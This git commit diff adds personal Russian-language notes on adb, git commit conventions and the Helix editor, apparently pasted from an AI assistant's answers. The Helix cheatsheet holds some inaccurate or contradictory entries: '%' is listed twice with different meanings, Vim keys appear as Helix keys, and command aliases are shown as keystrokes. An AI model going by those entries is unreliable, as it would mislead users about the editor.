migrations
This commit is contained in:
parent
d1b0670d71
commit
f2b07c9f30
57 changed files with 2970 additions and 1 deletions
0
10-linux/00-utils/README.md
Normal file
0
10-linux/00-utils/README.md
Normal file
7
10-linux/00-utils/adb/transfer.md
Normal file
7
10-linux/00-utils/adb/transfer.md
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
```
|
||||
# Просмотр подключённых устройств adb devices
|
||||
# Получить файл с телефона на ноутбук (самое частое)
|
||||
|
||||
adb pull /sdcard/Download/файл.txt ~/Downloads/
|
||||
# Отправить файл на телефон adb push ~/файл.txt /sdcard/
|
||||
```
|
||||
232
10-linux/00-utils/commits.md
Normal file
232
10-linux/00-utils/commits.md
Normal file
|
|
@ -0,0 +1,232 @@
|
|||
## Как писать коммиты как senior девелопер
|
||||
|
||||
Это не просто про формат — это про философию. Senior коммиты рассказывают историю проекта, облегчают отладку и экономят часы времени команде при code review. Вот полный гайд.[dev+5](https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m)
|
||||
|
||||
## 📋 Фундаментальный принцип: Atomic Commits
|
||||
|
||||
**Основное правило:** Один коммит = один логический блок работы. Не больше, не меньше.[gitbybit+1](https://gitbybit.com/gitopedia/best-practices/atomic-commits)
|
||||
|
||||
**Bad (как junior):**
|
||||
|
||||
text
|
||||
|
||||
`commit 6a7f9c3: "Добавил купоны, отфиксил ссылки в письмах и рефакторил email scheduler"`
|
||||
|
||||
**Good (как senior):**
|
||||
|
||||
text
|
||||
|
||||
`commit a1b2c3d: "feat(coupons): add coupon validation and application logic" commit d4e5f6g: "fix(email): correct notification template links" commit h7i8j9k: "refactor(scheduler): simplify email scheduling algorithm"`
|
||||
|
||||
Почему? Потому что через месяц ты найдёшь баг в купонах и сделаешь `git bisect` — он точно укажет именно на первый коммит, не трогая остальное.[justinjoyce+2](https://justinjoyce.dev/git-commit-and-commit-message-best-practices/)
|
||||
|
||||
## 🎯 Conventional Commits (стандарт индустрии)
|
||||
|
||||
Используй этот формат — его поддерживают инструменты автоматизации, CI/CD пайплайны генерируют CHANGELOG сами:[philipp-doblhofer+2](https://www.philipp-doblhofer.at/en/blog/automatic-changelog-and-versioning-with-git/)
|
||||
|
||||
text
|
||||
|
||||
`<type>[optional scope]: <description> [optional body] [optional footer(s)]`
|
||||
|
||||
**Типы коммитов:**
|
||||
|
||||
|Тип|Использование|Semver|
|
||||
|---|---|---|
|
||||
|`feat`|Новая фича|MINOR (+0.1.0)|
|
||||
|`fix`|Исправление бага|PATCH (+0.0.1)|
|
||||
|`BREAKING CHANGE`|Ломающее изменение API|MAJOR (+1.0.0)|
|
||||
|`refactor`|Переписал без изменения поведения|PATCH|
|
||||
|`perf`|Улучшил производительность|PATCH|
|
||||
|`docs`|Только документация|-|
|
||||
|`chore`|Build, deps, tooling|-|
|
||||
|`test`|Добавил/изменил тесты|-|
|
||||
|`ci`|Изменения CI/CD конфига|-|
|
||||
|`style`|Форматирование (не логика)|-|
|
||||
|
||||
[opensight+2](https://blog.opensight.ch/git-semantic-versioning-und-conventional-commits/)
|
||||
|
||||
**Примеры:**
|
||||
|
||||
bash
|
||||
|
||||
`# ✅ Good feat(auth): add JWT token refresh mechanism fix(api): handle null response from external service refactor(parser): extract token validation into separate function perf(cache): implement Redis caching for frequently accessed data docs(readme): update installation instructions for Node 18+ # ❌ Bad updated code fix bug changes WIP todo`
|
||||
|
||||
## 📝 Правила написания сообщения
|
||||
|
||||
**Subject (первая строка — максимум 50 символов):**
|
||||
|
||||
1. **Используй повелительное наклонение** (imperative mood) — "Add", "Fix", а не "Added", "Fixed"[gitkraken+3](https://www.gitkraken.com/learn/git/best-practices/git-commit-message)
|
||||
|
||||
- Проверка: "If applied, my commit will **[ваше сообщение]**"
|
||||
|
||||
- "If applied, my commit will **add JWT token refresh**" ✅
|
||||
|
||||
- "If applied, my commit will **added JWT token**" ❌
|
||||
|
||||
2. **Не ставь точку в конце**[gitkraken](https://www.gitkraken.com/learn/git/best-practices/git-commit-message)
|
||||
|
||||
3. **Начни с заглавной буквы**[dev+1](https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m)
|
||||
|
||||
4. **Конкретно описывай ЧТО, не ПОЧЕМУ** (ПОЧЕМУ — в body)[dev+2](https://dev.to/this-is-learning/the-power-of-atomic-commits-in-git-how-and-why-to-do-it-54mn)
|
||||
|
||||
|
||||
**Body (опционально, но рекомендуется):**
|
||||
|
||||
- Отдели пустой строкой от subject
|
||||
|
||||
- Обясни **ПОЧЕМУ** ты это сделал, не ЧТО сделал
|
||||
|
||||
- Укажи мотивацию и контекст
|
||||
|
||||
- Упомяни issue/ticket номер
|
||||
|
||||
|
||||
text
|
||||
|
||||
`feat(payment): implement Stripe webhook handler Add webhook endpoint to handle Stripe payment events. This replaces the previous polling mechanism which caused 5-10 second delays in payment confirmation. Supports events: - payment_intent.succeeded - payment_intent.payment_failed Closes #1234 Related-to: #5678`
|
||||
|
||||
## 🎮 Advanced techniques для senior
|
||||
|
||||
## 1. Interactive Staging (`git add -p`)
|
||||
|
||||
Когда в одном файле несколько независимых изменений — stage их отдельно:[dev+2](https://dev.to/theramoliya/git-interactive-add-for-precise-staging-33m1)
|
||||
|
||||
bash
|
||||
|
||||
`# Запустить интерактивный режим git add -p # Git покажет каждый "hunk" (блок) изменений: # (1/2) Stage this hunk [y,n,q,a,d,j,J,k,K,s,e,?]? # Команды: # y = stage this hunk # n = skip # s = split into smaller hunks (если hunk слишком большой) # e = manually edit this hunk`
|
||||
|
||||
**Пример:** Ты отфиксил баг в функции AND случайно отреформатировал другую функцию. Используй `git add -p`, чтобы добавить только багфикс в один коммит, а рефакторинг — в другой.[git-scm+2](https://git-scm.com/book/en/v2/Git-Tools-Interactive-Staging)
|
||||
|
||||
## 2. Commit Often, Squash on PR
|
||||
|
||||
**Local workflow (когда разрабатываешь):**
|
||||
|
||||
Коммиться часто — чуть ли не каждые 5-10 минут:[justinjoyce+1](https://justinjoyce.dev/git-commit-and-commit-message-best-practices/)
|
||||
|
||||
bash
|
||||
|
||||
`# 5 минут работы git commit -m "WIP: parsing implementation" # 5 минут работы git commit -m "add error handling" # 5 минут работы git commit -m "fix edge case"`
|
||||
|
||||
**Перед push на PR:**
|
||||
|
||||
Используй interactive rebase для squash в один красивый коммит:[graphite+2](https://graphite.dev/guides/how-to-squash-git-commits)
|
||||
|
||||
bash
|
||||
|
||||
`# Узнай количество коммитов git log --oneline | head -10 # Rebase последних 3 коммитов git rebase -i HEAD~3`
|
||||
|
||||
В редакторе измени команды:
|
||||
|
||||
text
|
||||
|
||||
`pick a1b2c3d WIP: parsing implementation squash d4e5f6g add error handling squash h7i8j9k fix edge case`
|
||||
|
||||
Сохрани → Git откроет редактор для финального message → напиши нормальный subject:[freecodecamp+2](https://www.freecodecamp.org/news/git-squash-commits/)
|
||||
|
||||
text
|
||||
|
||||
`feat(parser): implement JSON parser with error handling - Parse nested structures - Handle validation errors gracefully - Support edge cases with null/undefined values`
|
||||
|
||||
## 3. Amending commits
|
||||
|
||||
Забыл добавить файл или опечатка в message? Не создавай новый коммит:[datacamp+2](https://www.datacamp.com/tutorial/git-amend)
|
||||
|
||||
bash
|
||||
|
||||
`# Опечатка в message последнего коммита git commit --amend -m "fix(auth): correct typo in comment" # Забыл файл git add forgotten-file.rs git commit --amend --no-edit`
|
||||
|
||||
⚠️ **Важно:** Не амендь коммиты, которые уже pushed в shared branch! Это сломает историю для всех.[kodaschool+2](https://kodaschool.com/blog/amending-the-most-recent-commit-with-git)
|
||||
|
||||
## 4. Reflog для спасения
|
||||
|
||||
Если переборщил с rebase и потерял коммиты — не паникуй:[justinjoyce](https://justinjoyce.dev/git-commit-and-commit-message-best-practices/)
|
||||
|
||||
bash
|
||||
|
||||
`# Увидишь всю историю операций git reflog # Вернёшься на нужное состояние git reset --hard abc123d@{2}`
|
||||
|
||||
## 🎯 Настройки для удобства
|
||||
|
||||
**~/.gitconfig:**
|
||||
|
||||
text
|
||||
|
||||
`[user] name = Your Name email = you@example.com [core] editor = vim # или nano, code, etc. [alias] # Удобные aliases cm = commit -m amend = commit --amend --no-edit co = checkout br = branch unstage = reset HEAD last = log -1 HEAD # Красивый лог lg = log --graph --oneline --all --decorate [rebase] autostash = true # Автоматически stash перед rebase [pull] rebase = true # Rebase вместо merge при pull`
|
||||
|
||||
## 📊 Workflow: step-by-step для PR
|
||||
|
||||
**1. Работаешь над фичей:**
|
||||
|
||||
bash
|
||||
|
||||
`git checkout -b feat/user-authentication # Часто коммитишься (не думаешь об истории) git commit -m "WIP: add login form" git commit -m "add password validation" git commit -m "integrate with auth service" git commit -m "fix bug with token expiry"`
|
||||
|
||||
**2. Перед PR: cleanup история**
|
||||
|
||||
bash
|
||||
|
||||
`# Посмотри что есть git log --oneline origin/main..HEAD # Если совсем много коммитов git rebase -i origin/main # Или если точно знаешь кол-во git rebase -i HEAD~4`
|
||||
|
||||
**3. В редакторе:**
|
||||
|
||||
text
|
||||
|
||||
`pick a1b2c3d WIP: add login form squash d4e5f6g add password validation squash h7i8j9k integrate with auth service squash k9l0m1n fix bug with token expiry`
|
||||
|
||||
**4. Напиши финальный message:**
|
||||
|
||||
text
|
||||
|
||||
`feat(auth): implement JWT-based user authentication Add login/logout functionality with password validation. Tokens refresh automatically after 1 hour. Implements RFC 7519 JWT standard. - User registration with email verification - Secure password hashing with bcrypt - Token refresh mechanism - Logout clears session Closes #456`
|
||||
|
||||
**5. Push:**
|
||||
|
||||
bash
|
||||
|
||||
`git push origin feat/user-authentication`
|
||||
|
||||
## 🚫 Что НЕ делать (как junior)
|
||||
|
||||
- **Огромные коммиты** с кучей фич — невозможно code review[gitbybit+1](https://gitbybit.com/gitopedia/best-practices/atomic-commits)
|
||||
|
||||
- **Вагие сообщения** ("fix bug", "updated", "wip") — потом сам не поймёшь[codefinity+2](https://codefinity.com/blog/7-Best-Practices-of-Git-Commit-Messages)
|
||||
|
||||
- **Смешивать логику и форматирование** — затрудняет `git blame`[gitbybit+1](https://gitbybit.com/gitopedia/best-practices/atomic-commits)
|
||||
|
||||
- **Коммитить commented code** — если не нужно, удали[dev](https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m)
|
||||
|
||||
- **Амендить уже pushed коммиты** в shared branch — травма для команды[datacamp](https://www.datacamp.com/tutorial/git-amend)
|
||||
|
||||
|
||||
## Итог для твоего стека
|
||||
|
||||
Если ты backend-разработчик на Rust/FastAPI:
|
||||
|
||||
**Пример реального коммита для Axum middleware:**
|
||||
|
||||
text
|
||||
|
||||
`feat(auth): add rate limiting middleware Implement token bucket algorithm for request rate limiting. Prevents brute force attacks on login endpoint. - Configurable requests-per-minute limit - Per-IP rate limiting with Redis backend - Returns 429 Too Many Requests on limit exceeded - Exports Prometheus metrics for monitoring Performance: ~0.1ms per request overhead Closes #892`
|
||||
|
||||
Это **куда важнее**, чем технические skills — senior ценят за историю, которая сама себя документирует и облегчает дебагинг всвсей команде.
|
||||
|
||||
1. [https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m](https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m)
|
||||
2. [https://gitbybit.com/gitopedia/best-practices/atomic-commits](https://gitbybit.com/gitopedia/best-practices/atomic-commits)
|
||||
3. [https://www.philipp-doblhofer.at/en/blog/automatic-changelog-and-versioning-with-git/](https://www.philipp-doblhofer.at/en/blog/automatic-changelog-and-versioning-with-git/)
|
||||
4. [https://justinjoyce.dev/git-commit-and-commit-message-best-practices/](https://justinjoyce.dev/git-commit-and-commit-message-best-practices/)
|
||||
5. [https://dev.to/this-is-learning/the-power-of-atomic-commits-in-git-how-and-why-to-do-it-54mn](https://dev.to/this-is-learning/the-power-of-atomic-commits-in-git-how-and-why-to-do-it-54mn)
|
||||
6. [https://codefinity.com/blog/7-Best-Practices-of-Git-Commit-Messages](https://codefinity.com/blog/7-Best-Practices-of-Git-Commit-Messages)
|
||||
7. [https://blog.opensight.ch/git-semantic-versioning-und-conventional-commits/](https://blog.opensight.ch/git-semantic-versioning-und-conventional-commits/)
|
||||
8. [https://dev.to/devsatasurion/automate-changelogs-to-ease-your-release-282](https://dev.to/devsatasurion/automate-changelogs-to-ease-your-release-282)
|
||||
9. [https://www.gitkraken.com/learn/git/best-practices/git-commit-message](https://www.gitkraken.com/learn/git/best-practices/git-commit-message)
|
||||
10. [https://dev.to/theramoliya/git-interactive-add-for-precise-staging-33m1](https://dev.to/theramoliya/git-interactive-add-for-precise-staging-33m1)
|
||||
11. [https://git-scm.com/book/en/v2/Git-Tools-Interactive-Staging](https://git-scm.com/book/en/v2/Git-Tools-Interactive-Staging)
|
||||
12. [https://dev.to/etcwilde/git-and-the-interactive-patch-add](https://dev.to/etcwilde/git-and-the-interactive-patch-add)
|
||||
13. [https://graphite.dev/guides/how-to-squash-git-commits](https://graphite.dev/guides/how-to-squash-git-commits)
|
||||
14. [https://www.freecodecamp.org/news/git-squash-commits/](https://www.freecodecamp.org/news/git-squash-commits/)
|
||||
15. [https://www.datacamp.com/tutorial/git-squash-commits](https://www.datacamp.com/tutorial/git-squash-commits)
|
||||
16. [https://www.datacamp.com/tutorial/git-amend](https://www.datacamp.com/tutorial/git-amend)
|
||||
17. [https://kodaschool.com/blog/amending-the-most-recent-commit-with-git](https://kodaschool.com/blog/amending-the-most-recent-commit-with-git)
|
||||
18. [https://www.codecademy.com/article/git-commit-amend](https://www.codecademy.com/article/git-commit-amend)
|
||||
19. [https://www.cockroachlabs.com/blog/parallel-commits/](https://www.cockroachlabs.com/blog/parallel-commits/)
|
||||
20. [https://stackoverflow.com/questions/68095467/git-interactive-rebase-squash-commits-any-shortcuts](https://stackoverflow.com/questions/68095467/git-interactive-rebase-squash-commits-any-shortcuts)
|
||||
3
10-linux/00-utils/git/replace.md
Normal file
3
10-linux/00-utils/git/replace.md
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
git push new-origin --all
|
||||
git remote add new-origin ssh://git@git-ssh.21-school.ru:2222/students_repo/rorikstr/CPP1_s21_matrixplus.ID_353533-3.git
|
||||
cd ~/src/me/s21/cpp/CPP1_s21_matrixplus.ID_353533-2
|
||||
143
10-linux/00-utils/helix/buffer.md
Normal file
143
10-linux/00-utils/helix/buffer.md
Normal file
|
|
@ -0,0 +1,143 @@
|
|||
В Helix управление буферами очень удобно. Вот основные команды и действия, чтобы:
|
||||
|
||||
---
|
||||
|
||||
## Как открыть новый буфер
|
||||
|
||||
- Открыть файл в новом буфере:
|
||||
|
||||
text
|
||||
|
||||
`:open filename`
|
||||
|
||||
или клавиша быстрого вызова:
|
||||
|
||||
text
|
||||
|
||||
`<space> f`
|
||||
|
||||
Вызовет **file picker**, где можно выбрать или ввести имя файла.
|
||||
|
||||
- Открыть новый пустой (scratch) буфер:
|
||||
|
||||
text
|
||||
|
||||
`:new`
|
||||
|
||||
Можно использовать также `:vnew` (вертикальный сплит) или `:hsplit` (горизонтальный сплит).
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Как переключаться между буферами
|
||||
|
||||
- Открыть список буферов (buffer picker):
|
||||
|
||||
text
|
||||
|
||||
`<space> b`
|
||||
|
||||
Навигация стрелками для выбора.
|
||||
|
||||
- Следующий буфер:
|
||||
|
||||
text
|
||||
|
||||
`gn`
|
||||
|
||||
- Предыдущий буфер:
|
||||
|
||||
text
|
||||
|
||||
`gp`
|
||||
|
||||
- Перейти к конкретному буферу по номеру (если есть номера в конфиге):
|
||||
|
||||
text
|
||||
|
||||
`:buffer N`
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Как закрыть буфер
|
||||
|
||||
- Закрыть текущий буфер:
|
||||
|
||||
text
|
||||
|
||||
`:buffer-close`
|
||||
|
||||
или короче
|
||||
|
||||
text
|
||||
|
||||
`bc`
|
||||
|
||||
- Закрыть все другие буферы кроме текущего:
|
||||
|
||||
text
|
||||
|
||||
`:buffer-close-others`
|
||||
|
||||
или
|
||||
|
||||
text
|
||||
|
||||
`bca`
|
||||
|
||||
- Закрыть буфер с сохранением:
|
||||
|
||||
text
|
||||
|
||||
`:write-buffer-close`
|
||||
|
||||
или
|
||||
|
||||
text
|
||||
|
||||
`wbc`
|
||||
|
||||
|
||||
---
|
||||
|
||||
## Полезные команды для буферов
|
||||
|
||||
|Команда|Назначение|
|
||||
|---|---|
|
||||
|`<space> b`|Открыть picker буферов|
|
||||
|`gn`|Следующий буфер|
|
||||
|`gp`|Предыдущий буфер|
|
||||
|`bc`|Закрыть текущий буфер|
|
||||
|`bca`|Закрыть все, кроме текущего|
|
||||
|`:open filename`|Открыть файл в новом буфере|
|
||||
|`:new`|Новый пустой буфер (scratch)|
|
||||
|`wbc`|Сохранить и закрыть буфер|
|
||||
|
||||
---
|
||||
|
||||
## Быстрая шпаргалка по буферам
|
||||
|
||||
|Действие|Команда|
|
||||
|---|---|
|
||||
|Открыть файл в буфере|`<space> f` / `:open filename`|
|
||||
|Переключиться|`gn` / `gp` / `<space> b`|
|
||||
|Закрыть буфер|`bc`|
|
||||
|Закрыть другие буферы|`bca`|
|
||||
|Новый пустой буфер|`:new`|
|
||||
|Сохранить и закрыть|`wbc`|
|
||||
|
||||
---
|
||||
|
||||
Это покрывает весь базовый и продвинутый workflow вокруг работы с буферами в Helix, удобно и быстро! 🚀
|
||||
|
||||
1. [https://github.com/helix-editor/helix/discussions/5865](https://github.com/helix-editor/helix/discussions/5865)
|
||||
2. [https://github.com/helix-editor/helix/issues/475](https://github.com/helix-editor/helix/issues/475)
|
||||
3. [https://github.com/helix-editor/helix/discussions/10430](https://github.com/helix-editor/helix/discussions/10430)
|
||||
4. [https://rushter.com/blog/helix-editor/](https://rushter.com/blog/helix-editor/)
|
||||
5. [https://www.youtube.com/watch?v=2P8GP1LEfKE](https://www.youtube.com/watch?v=2P8GP1LEfKE)
|
||||
6. [https://github.com/helix-editor/helix/discussions/6057](https://github.com/helix-editor/helix/discussions/6057)
|
||||
7. [https://www.reddit.com/r/HelixEditor/comments/1i2m50c/i_keep_closing_the_whole_editor_when_i_want_to/](https://www.reddit.com/r/HelixEditor/comments/1i2m50c/i_keep_closing_the_whole_editor_when_i_want_to/)
|
||||
8. [https://github.com/helix-editor/helix/discussions/6983](https://github.com/helix-editor/helix/discussions/6983)
|
||||
9. [https://docs.helix-editor.com/commands.html](https://docs.helix-editor.com/commands.html)
|
||||
10. [https://www.youtube.com/watch?v=S4tTZjz-NTc](https://www.youtube.com/watch?v=S4tTZjz-NTc)
|
||||
97
10-linux/00-utils/helix/changes.md
Normal file
97
10-linux/00-utils/helix/changes.md
Normal file
|
|
@ -0,0 +1,97 @@
|
|||
Отлично! В Helix есть **несколько способов** увидеть несохранённые изменения:
|
||||
|
||||
## 1. Индикатор в статус-баре (самый простой)
|
||||
|
||||
**Смотри на статус-бар внизу экрана**:[github+1](https://github.com/helix-editor/helix/issues/4686)
|
||||
|
||||
text
|
||||
|
||||
`NOR path/to/file.rs [+] 12:34 rust ↑ несохранённые изменения!`
|
||||
|
||||
**`[+]`** (или `[modified]`) означает, что файл изменён но не сохранён.[dev+1](https://dev.to/rajasegar/the-helix-way-36mh)
|
||||
|
||||
Если индикатора нет — файл сохранён ✅
|
||||
|
||||
## 2. Git diff gutter (если файл в git)
|
||||
|
||||
**Цветные полоски слева от номеров строк**:[helix-editor](https://docs.helix-editor.com/master/editor.html)
|
||||
|
||||
text
|
||||
|
||||
`│ 1 fn main() { ~ 2 println!("modified"); ← оранжевая волна = изменено + 3 let x = 5; ← зелёная полоса = добавлено - 4 // deleted line ← красная полоса = удалено │ 5 }`
|
||||
|
||||
Включено по умолчанию для git-репозиториев.[helix-editor](https://docs.helix-editor.com/master/editor.html)
|
||||
|
||||
## 3. Команды навигации по изменениям
|
||||
|
||||
**`]g`** — следующее изменение (goto next change)[helix-editor](https://docs.helix-editor.com/commands.html)
|
||||
**`[g`** — предыдущее изменение (goto prev change)[helix-editor](https://docs.helix-editor.com/commands.html)
|
||||
**`]G`** — последнее изменение (goto last change)[helix-editor](https://docs.helix-editor.com/commands.html)
|
||||
**`[G`** — первое изменение (goto first change)[helix-editor](https://docs.helix-editor.com/commands.html)
|
||||
|
||||
Прыгает курсором между изменёнными строками, чтобы ты мог быстро посмотреть, что менялось.[helix-editor](https://docs.helix-editor.com/commands.html)
|
||||
|
||||
## 4. Проверка при выходе
|
||||
|
||||
Если пытаешься выйти с несохранёнными изменениями:
|
||||
|
||||
**`:q`** или **`:quit`** — Helix покажет **предупреждение**:
|
||||
|
||||
text
|
||||
|
||||
`Error: Unsaved changes! Use :q! to force quit.`
|
||||
|
||||
**`:q!`** или **`:quit!`** — выйти БЕЗ сохранения (потеря изменений).[helix-editor](https://docs.helix-editor.com/commands.html)
|
||||
|
||||
## 5. Список открытых буферов (buffer line)
|
||||
|
||||
Включи **buffer line** в конфиге:[dev](https://dev.to/rajasegar/the-helix-way-36mh)
|
||||
|
||||
text
|
||||
|
||||
`# ~/.config/helix/config.toml [editor] bufferline = "always" # или "multiple"`
|
||||
|
||||
Тогда сверху появится панель со всеми открытыми файлами:
|
||||
|
||||
text
|
||||
|
||||
`file1.rs file2.rs [+] file3.c ↑ несохранённый файл`
|
||||
|
||||
## 6. Diff с сохранённой версией (нет из коробки)
|
||||
|
||||
К сожалению, Helix **пока не поддерживает** встроенную команду "show unsaved changes" (как в VSCode или Sublime). Это feature request.[github+1](https://github.com/helix-editor/helix/discussions/8864)
|
||||
|
||||
**Workaround**: используй git diff:
|
||||
|
||||
bash
|
||||
|
||||
`# В терминале (вне Helix) git diff file.rs`
|
||||
|
||||
Или внутри Helix через shell:
|
||||
**Space+c** → напечатай `!git diff %` (% = текущий файл)
|
||||
|
||||
## Лучшая практика
|
||||
|
||||
Комбинируй:
|
||||
|
||||
1. **Смотри на `[+]`** в статус-баре — главный индикатор[github](https://github.com/helix-editor/helix/issues/4686)
|
||||
|
||||
2. **Используй git diff gutter** — видишь изменения прямо в редакторе[helix-editor](https://docs.helix-editor.com/master/editor.html)
|
||||
|
||||
3. **Прыгай по `]g` / `[g`** — быстро проверить все правки[helix-editor](https://docs.helix-editor.com/commands.html)
|
||||
|
||||
4. **Включи bufferline** — видеть все несохранённые файлы сверху[dev](https://dev.to/rajasegar/the-helix-way-36mh)
|
||||
|
||||
|
||||
Теперь никогда не потеряешь изменения!
|
||||
|
||||
1. [https://github.com/helix-editor/helix/issues/4686](https://github.com/helix-editor/helix/issues/4686)
|
||||
2. [https://dev.to/rajasegar/the-helix-way-36mh](https://dev.to/rajasegar/the-helix-way-36mh)
|
||||
3. [https://docs.helix-editor.com/master/editor.html](https://docs.helix-editor.com/master/editor.html)
|
||||
4. [https://docs.helix-editor.com/commands.html](https://docs.helix-editor.com/commands.html)
|
||||
5. [https://github.com/helix-editor/helix/discussions/8864](https://github.com/helix-editor/helix/discussions/8864)
|
||||
6. [https://forum.sublimetext.com/t/improve-the-diff-shown-by-show-unsaved-changes/62198](https://forum.sublimetext.com/t/improve-the-diff-shown-by-show-unsaved-changes/62198)
|
||||
7. [https://github.com/helix-editor/helix/issues/1125](https://github.com/helix-editor/helix/issues/1125)
|
||||
8. [https://stackoverflow.com/questions/65874120/see-unsaved-changes-in-vscode](https://stackoverflow.com/questions/65874120/see-unsaved-changes-in-vscode)
|
||||
9. [https://github.com/helix-editor/helix/issues/7481](https://github.com/helix-editor/helix/issues/7481)
|
||||
10. [https://github.com/helix-editor/helix/issues/9655](https://github.com/helix-editor/helix/issues/9655)
|
||||
274
10-linux/00-utils/helix/cheatsheet.md
Normal file
274
10-linux/00-utils/helix/cheatsheet.md
Normal file
|
|
@ -0,0 +1,274 @@
|
|||
# Полная Шпаргалка Клавиш Helix
|
||||
|
||||
## Основные Режимы (Mode Keys)
|
||||
|
||||
|Клавиша|Действие|
|
||||
|---|---|
|
||||
|`i`|Insert mode (вставка перед курсором)|
|
||||
|`a`|Append (вставка после курсора)|
|
||||
|`I`|Insert в начале строки|
|
||||
|`A`|Append в конце строки|
|
||||
|`o`|Open line below (новая строка ниже)|
|
||||
|`O`|Open line above (новая строка выше)|
|
||||
|`v`|Select/extend mode (режим выделения)|
|
||||
|`Esc`|Вернуться в Normal mode|
|
||||
|`:`|Command mode (командный режим)|
|
||||
|
||||
## Движение (Movement)
|
||||
|
||||
|Клавиша|Действие|
|
||||
|---|---|
|
||||
|`h`|Влево на символ|
|
||||
|`j`|Вниз на строку|
|
||||
|`k`|Вверх на строку|
|
||||
|`l`|Вправо на символ|
|
||||
|`w`|Следующее слово (начало)|
|
||||
|`b`|Предыдущее слово (начало)|
|
||||
|`e`|Следующее слово (конец)|
|
||||
|`W`|Следующее WORD (с пробелами)|
|
||||
|`B`|Предыдущее WORD|
|
||||
|`E`|Конец WORD|
|
||||
|`0`|Начало строки|
|
||||
|`$`|Конец строки|
|
||||
|`^`|Первый непробельный символ строки|
|
||||
|`gg`|Начало файла|
|
||||
|`ge` или `G`|Конец файла|
|
||||
|`Ctrl-d`|Полстраницы вниз|
|
||||
|`Ctrl-u`|Полстраницы вверх|
|
||||
|`Ctrl-f`|Страница вниз (PageDown)|
|
||||
|`Ctrl-b`|Страница вверх (PageUp)|
|
||||
|`%`|Найти парную скобку|
|
||||
|
||||
## Выделение (Selection)
|
||||
|
||||
|Клавиша|Действие|
|
||||
|---|---|
|
||||
|`x`|Выделить строку целиком|
|
||||
|`X`|Выделить строку (без перевода строки)|
|
||||
|`w`|Выделить слово вперёд|
|
||||
|`b`|Выделить слово назад|
|
||||
|`%`|Выделить весь файл|
|
||||
|`s`|Split selection (поиск по regex)|
|
||||
|`;`|Collapse selection (убрать выделение)|
|
||||
|`,`|Remove primary selection|
|
||||
|`Alt-,`|Remove all secondary selections|
|
||||
|`C`|Duplicate cursor down|
|
||||
|`Alt-C`|Duplicate cursor up|
|
||||
|`&`|Align selections|
|
||||
|
||||
## Match Mode (m + клавиша)
|
||||
|
||||
|Клавиша|Действие|
|
||||
|---|---|
|
||||
|`mm`|Goto matching bracket|
|
||||
|`ms`|Surround add (добавить окружение)|
|
||||
|`mr`|Surround replace|
|
||||
|`md`|Surround delete|
|
||||
|`mi(`|Select inside parentheses|
|
||||
|`ma(`|Select around parentheses|
|
||||
|`mi{`|Select inside braces|
|
||||
|`ma{`|Select around braces|
|
||||
|`mi"`|Select inside quotes|
|
||||
|`ma"`|Select around quotes|
|
||||
|`miw`|Select inside word|
|
||||
|`maw`|Select around word|
|
||||
|`mif`|Select inside function|
|
||||
|`maf`|Select around function|
|
||||
|
||||
## Редактирование (Edit)
|
||||
|
||||
|Клавиша|Действие|
|
||||
|---|---|
|
||||
|`c`|Change (удалить выделение и войти в insert)|
|
||||
|`d`|Delete (удалить выделение)|
|
||||
|`y`|Yank (копировать)|
|
||||
|`p`|Paste after cursor|
|
||||
|`P`|Paste before cursor|
|
||||
|`R`|Replace with yanked text|
|
||||
|`u`|Undo|
|
||||
|`U`|Redo|
|
||||
|`r`|Replace character|
|
||||
|`~`|Toggle case (upper/lower)|
|
||||
|`` ` ``|Convert to lowercase|
|
||||
|` Alt-`` ` ``|Convert to uppercase|
|
||||
|`>`|Indent (вправо)|
|
||||
|`<`|Unindent (влево)|
|
||||
|`=`|Format selection (форматирование)|
|
||||
|`J`|Join lines|
|
||||
|`Alt-J`|Join lines with space|
|
||||
|`K`|Keep selections matching regex|
|
||||
|`Alt-K`|Remove selections matching regex|
|
||||
|
||||
## Поиск (Search)
|
||||
|
||||
|Клавиша|Действие|
|
||||
|---|---|
|
||||
|`/`|Search forward|
|
||||
|`?`|Search backward|
|
||||
|`n`|Next search match|
|
||||
|`N`|Previous search match|
|
||||
|`*`|Search current selection forward|
|
||||
|
||||
## Goto Mode (g + клавиша)
|
||||
|
||||
|Клавиша|Действие|
|
||||
|---|---|
|
||||
|`gh`|Goto line start|
|
||||
|`gl`|Goto line end|
|
||||
|`gs`|Goto first non-whitespace|
|
||||
|`ge`|Goto last line|
|
||||
|`gg`|Goto first line|
|
||||
|`gt`|Goto window top|
|
||||
|`gc`|Goto window center|
|
||||
|`gb`|Goto window bottom|
|
||||
|`gd`|Goto definition (LSP)|
|
||||
|`gy`|Goto type definition|
|
||||
|`gr`|Goto references|
|
||||
|`gi`|Goto implementation|
|
||||
|`ga`|Goto last accessed file|
|
||||
|`gm`|Goto last modified file|
|
||||
|`gn`|Goto next buffer|
|
||||
|`gp`|Goto previous buffer|
|
||||
|`g.`|Goto last modification|
|
||||
|
||||
## View Mode (z + клавиша)
|
||||
|
||||
|Клавиша|Действие|
|
||||
|---|---|
|
||||
|`zz`|Center cursor vertically|
|
||||
|`zt`|Align cursor to top|
|
||||
|`zb`|Align cursor to bottom|
|
||||
|`zm`|Align cursor to middle|
|
||||
|`zj`|Scroll down (одна строка)|
|
||||
|`zk`|Scroll up (одна строка)|
|
||||
|`Z`|Enter **sticky view mode** (прокрутка без движения курсора)|
|
||||
|`Ctrl-d`|Scroll half page down|
|
||||
|`Ctrl-u`|Scroll half page up|
|
||||
|
||||
## Window Mode (Ctrl-w + клавиша)
|
||||
|
||||
|Клавиша|Действие|
|
||||
|---|---|
|
||||
|`Ctrl-w v`|Vertical split|
|
||||
|`Ctrl-w s`|Horizontal split|
|
||||
|`Ctrl-w w`|Switch to next window|
|
||||
|`Ctrl-w h`|Goto left window|
|
||||
|`Ctrl-w j`|Goto bottom window|
|
||||
|`Ctrl-w k`|Goto top window|
|
||||
|`Ctrl-w l`|Goto right window|
|
||||
|`Ctrl-w q`|Close current window|
|
||||
|`Ctrl-w o`|Close all windows except current|
|
||||
|`Ctrl-w H`|Swap window left|
|
||||
|`Ctrl-w J`|Swap window down|
|
||||
|`Ctrl-w K`|Swap window up|
|
||||
|`Ctrl-w L`|Swap window right|
|
||||
|
